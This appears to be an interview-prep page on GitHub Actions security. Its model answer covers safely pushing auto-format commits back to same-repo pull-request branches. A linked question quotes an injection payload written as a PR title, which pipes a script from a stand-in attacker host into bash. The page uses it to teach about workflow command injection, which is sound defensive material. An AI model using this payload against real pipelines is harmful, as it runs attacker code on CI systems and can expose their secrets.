A job needs to push a commit back to the PR branch (auto-format). Do it safely.
IntermediateScenarioSecurity Hardening & Supply Chain
Answer
Situation read → Write access to branches, fork limitations, loop risk.
What I'd do →
- Only for same-repo PRs:
if: github.event.pull_request.head.repo.full_name == github.repository. permissions: contents: write, checkoutref: ${{ github.head_ref }}.- Commit as
github-actions[bot]and push; the push byGITHUB_TOKENwill not retrigger CI (no loop), so run checks on the formatted code in the same job or require a new push.
Why → Fork branches cannot be written with GITHUB_TOKEN, and pushing back with a PAT would trigger loops.
Interview tip → Many teams prefer failing the check with a diff over pushing commits.
More on Security Hardening & Supply Chain
You are asked to harden an existing repo's workflows in one week. What is your checklist?IntermediateA contributor's PR title is `"; curl -s https://evil.sh | bash; echo "` and your labeler workflow uses the title in `run:`. What happens and how do you fix it?IntermediateYour OSS project needs to run tests on fork PRs and post coverage comments. Design it safely.AdvancedA popular action you use was compromised and its tags repointed. What do you do in the first hour?AdvancedYou must prove that a container image in prod was built by your CI from a specific commit. How?AdvancedA developer wants to use a new Marketplace action with 40 stars for Slack notifications. How do you evaluate it?Beginner